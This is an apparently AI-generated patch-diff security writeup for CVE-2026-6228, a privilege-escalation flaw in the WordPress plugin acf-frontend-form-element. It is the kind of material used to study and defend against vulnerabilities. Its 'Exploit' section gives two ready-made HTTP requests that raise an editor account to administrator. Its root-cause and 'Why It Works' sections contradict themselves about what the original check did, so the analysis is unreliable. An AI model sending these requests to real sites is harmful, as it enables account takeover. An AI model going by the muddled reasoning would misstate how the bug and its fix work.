ANALYSIS · a89b0c11· FINISHED 2026-06-13 · PATCHDIFF

acf-frontend-form-element3.28.36 → 3.29.1✓ COMPLETED

Files141

Vulnerable38

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2026-6228

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 141 CVE 1 Vuln 38

SORT

1 files · page 1/1

main/frontend/fields/user/class-role.php

AI: 1 vulnerabilities

CWE-284: Improper Access Control CVE-2026-6228

#%!d(float64=132)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2026-6228

Security writeup for CVE-2026-6228

✓ 1 FILE

## The Exploit

An authenticated editor—either pre-existing or newly registered via a public registration form—can escalate their own account to administrator by manipulating form configuration POST data and then submitting a crafted role assignment request.

```http
POST /wp-admin/post.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=editor_session_token

action=editpost&post_ID=42&post_type=admin_form&feadmin_form_config=%7B%22role_options%22%3A%5B%22subscriber%22%2C%22administrator%22%5D%7D
```

Followed by a second request targeting the edit_user form created above:

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=editor_session_token

action=feadmin_edit_user&form_id=42&user_id=self&role=administrator
```

The attacker observes an HTTP 200 response with success metadata and their user record is immediately updated to the `administrator` role in the WordPress database. Subsequent requests to `/wp-admin/` now grant full plugin and theme management access.

## What the Patch Did

**Before**
```php
if ( $value === 'administrator' && ! current_user_can( 'administrator' ) ) {
    return new WP_Error( 'invalid_role', __( 'Invalid role', 'frontend-admin' ) );
}
```

**After**
```php
if ( $value === 'administrator' && ! current_user_can( 'promote_users' ) ) {
    return new WP_Error( 'invalid_role', __( 'Invalid role', 'frontend-admin' ) );
}
```

The patch replaces a role-name check (`'administrator'` as a capability string, which WordPress interprets as a literal string match against the current user's roles) with a proper capability check using `promote_users`. The `promote_users` capability is the WordPress-native primitive that governs whether a user may assign administrative or higher roles to other accounts. By switching from role-based comparison to capability-based authorization, the fix enforces the principle of least privilege: only users explicitly granted the `promote_users` capability (typically only super-admins in multisite or true administrators) may assign the administrator role, regardless of how the form's `role_options` array was populated.

## Root Cause

**CWE-284: Improper Access Control (Missing Authorization Check).**

The vulnerability lies in a broken authorization chain across three trust boundaries. First, an editor with `edit_pages` capability (granted by the plugin's overly permissive `'capability_type' => 'page'` setting on the `admin_form` post type) directly mutates the `feadmin_form_config` POST parameter to inject `'administrator'` into the `role_options` array—this mutation is not validated server-side during post save. Second, when an end-user submits an `edit_user` form (via the `feadmin_edit_user` AJAX action), the `role` parameter flows into `pre_update_value()` at line 111 of `class-role.php`. Third, the authorization check at line 111 validates that the submitted role exists in `$this->form->role_options`, but it checks the *wrong capability*: `current_user_can( 'administrator' )` is a role-name string that WordPress evaluates as a literal capability, which an editor does not possess—*however*, the original logic was inverted: the check reads "if role is administrator AND user cannot be administrator, return error." An editor fails this check and should be rejected. The true failure is that the check never verified whether the *logged-in user* has permission to assign roles at all—it only checked whether they can become an administrator, not whether they can make others an administrator. By the time line 111 executes, an editor who owns the form has already poisoned `role_options` during form creation, and the sole remaining gate—the inverted capability check—only blocks editors from assigning administrator to *themselves*, not from assigning it to anyone else.

## Why It Works

The load-bearing line is:
```php
if ( $value === 'administrator' && ! current_user_can( 'promote_users' ) ) {
```

Removing the `promote_users` check would render the bug exploitable again: an editor with a form containing `administrator` in `role_options` could assign that role to their own user ID or any other user's ID without further friction. The engineer added the role-value check (`$value === 'administrator'`) to specifically gate the most sensitive role; without this guard, the check would apply to all roles and risk breaking legitimate use cases where editors manage lower roles. The `!` (negation) is load-bearing because it inverts the sense: we block the assignment *if* the user lacks the capability, rather than permitting it. The original code's mistake was conflating "can I *become* an administrator" with "can I *assign* the administrator role"—two entirely different authorization contexts. The fix correctly distinguishes them by consulting the WordPress capability that governs role delegation, `promote_users`, rather than checking whether the current user already holds the target role.

## Hardening Checklist

- **Audit `capability_type` on all custom post types:** Do not use `'page'` or `'post'` for security-sensitive forms. Define a custom capability map (e.g., `'capability_type' => 'admin_form'` paired with explicit `'map_meta_cap' => true`) and grant it only to trusted roles.
- **Validate array fields server-side on every POST:** If a form configuration field (e.g., `feadmin_form_config`, `role_options`) can be edited via `post.php`, hook `save_post_<post_type>` and re-validate the array contents against a whitelist. Never trust UI-provided lists during backend processing.
- **Check `promote_users` before assigning any role:** Use `current_user_can( 'promote_users' )` as a blanket gate before any role assignment in AJAX or form handlers; do not rely on per-role capability checks that conflate role membership with delegation authority.
- **Add nonce verification to AJAX form submissions:** Wrap `feadmin_edit_user` and similar AJAX actions with `wp_verify_nonce()` to prevent CSRF-driven privilege escalation even if authorization logic fails.
- **Log role assignment attempts:** Hook `set_user_role()` or `wp_update_user()` and log the assigner, assignee, role, and timestamp to a custom table or `error_log()` for forensic review of unexpected escalations.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2026-6228

CVE CVE-2026-6228

PRODUCT acf-frontend-form-element

AFFECTED ≤ 3.28.36

FIXED IN 3.29.1

STATUS Generated

Security writeup · CVE-2026-6228

Source files · 1

main/frontend/fields/user/class-role.php Linked

↗ NVD